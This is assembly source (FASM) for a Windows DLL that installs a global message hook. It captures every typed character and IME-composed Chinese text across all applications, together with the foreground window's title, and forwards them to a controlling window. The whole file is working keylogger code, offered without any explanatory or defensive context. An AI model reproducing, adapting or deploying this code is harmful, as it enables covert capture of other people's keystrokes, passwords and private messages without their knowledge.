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|
format PE GUI 4.0 DLL
entry DllEntry
include 'win32ax.inc'
WM_IME_COMPOSITION equ 010Fh
GCS_RESULTSTR equ 0800h
section '.data' data readable writeable
hInstance rd 1
dwStrSize rd 1
hParent rd 1
szClassName db 'Edit', 0
szChina db 20 dup (?)
data import
library user32, 'user32.dll',\
kernel32, 'kernel32.dll',\
imm32, 'imm32.dll'
include 'api\kernel32.inc'
include 'api\user32.inc'
import imm32,\
ImmGetContext, 'ImmGetContext',\
ImmReleaseContext, 'ImmReleaseContext',\
ImmGetCompositionString, 'ImmGetCompositionStringA'
end data
section '.bss' data readable writeable shareable
_hWnd rd 1
hHook rd 1
hImc rd 1
_dwMessage rd 1
hEdit rd 1
hWindow rd 1
szTemp db 'hello world', 0
szTitleTemp db 0ah, 0dh, '[%s -]', 0, 0ah, 0dh
szTitle db 50 dup (?)
szOldTitle db 50 dup (?)
szBuffer db 100 dup (?)
szChinaWindow db 50 dup (?)
szChar db 4 dup (?)
section '.text' code readable executable
proc DllEntry hInstDLL, dwReason, lpReserved
push dword [ebp+8]
pop dword [hInstance]
sub eax, eax
inc eax
ret
endp
;
; String Cpy Function
;
proc StrCpy lpDest, lpSrc
pushad
mov esi, [lpSrc]
mov edi, [lpDest]
xchg esi, edi
push edi ; lpSrc
xor eax, eax
cld
mov ecx, 0FFFFFFFFh
repne scasb
je @f
pop edi
popad
return 0
@@:
not ecx
pop edi
xchg edi, esi
push ecx
shr ecx, 2
rep movsd
pop ecx
and ecx, 3
rep movsb
popad
return 1
endp
proc StrCmp lpDest, lpSrc
pushad
mov esi, [lpDest]
mov edi, [lpSrc]
push edi
mov ecx, 0FFFFFFFFh
cld
xor eax, eax
repne scasb
je @f
pop eax
return 0
@@:
not ecx
pop edi
repe cmpsb
je @f
popad
return 0
@@:
popad
return 1
endp
;
; CALLBACK HookProc
;
proc HookProc dwCode, wParam, lParam
pushad
invoke CallNextHookEx, [hHook], [dwCode], [wParam],
[lParam]
mov edx, [lParam]
virtual at edx
@hWnd dd ?
@MSG dd ?
@wParam dd ?
@lParam dd ?
@dwTime dd ?
@dwpt dd ?
end virtual
cmp [@MSG], WM_CHAR
je __HookChar
cmp [@MSG], WM_IME_COMPOSITION
je __HookImeChar
jmp __HookEnd
__HookChar:
push dword [@wParam]
pop dword [szChar]
invoke GetForegroundWindow
invoke GetWindowText, eax, szTitle, 50
stdcall StrCmp, szOldTitle, szTitle
or eax, eax
jne @f
stdcall StrCpy, szOldTitle, szTitle
invoke wsprintf, szBuffer, szTitleTemp, szOldTitle
add esp, 0ch
invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer
@@:
invoke SendMessage, [_hWnd], [_dwMessage], dword
[szChar], 0
jmp __HookEnd
__HookImeChar:
invoke GetFocus
mov [hParent], eax
invoke GetParent, eax
mov [hWindow], eax
invoke GetWindowText, eax, szChinaWindow, 50
stdcall StrCmp, szOldTitle, szChinaWindow
or eax, eax
jne @f
stdcall StrCpy, szOldTitle, szChinaWindow
invoke wsprintf, szBuffer, szTitleTemp, szOldTitle
add esp, 0ch
invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer
@@:
invoke ImmGetContext, [hParent]
or eax, eax
je __HookEnd
mov [hImc], eax
invoke ImmGetCompositionString, [hImc], GCS_RESULTSTR,
0, 0
or eax, eax
je __HookEnd
mov [dwStrSize], eax
inc [dwStrSize]
inc [dwStrSize]
push edi
push ecx
mov edi, szChina
cld
mov ecx, [dwStrSize]
xor eax, eax
rep stosb
pop ecx
pop edi
invoke ImmGetCompositionString, [hImc], GCS_RESULTSTR,
szChina, [dwStrSize]
invoke SendMessage, [hEdit], EM_REPLACESEL, 0, szChina
invoke ImmReleaseContext, [hParent], [hImc]
__HookEnd:
popad
return
endp
;
; InstallHook Proc
;
proc StartHook hWnd, dwMessage
push dword [ebp+8h]
pop dword [_hWnd]
push dword [ebp+0Ch]
pop dword [_dwMessage]
invoke FindWindowEx, [_hWnd], NULL, szClassName, NULL
or eax, eax
je @f
mov [hEdit], eax
@@:
invoke SetWindowsHookEx, WH_GETMESSAGE, HookProc,\
[hInstance], NULL
mov [hHook], eax
ret
endp
;
; UnInstallHook Proc
;
proc StopHook
invoke UnhookWindowsHookEx, [hHook]
ret
endp
section '.rdata' data readable writeable export
export 'hook.dll',\
StartHook, 'StartHook',\
StopHook, 'StopHook'
section '.reloc' data readable fixups
|
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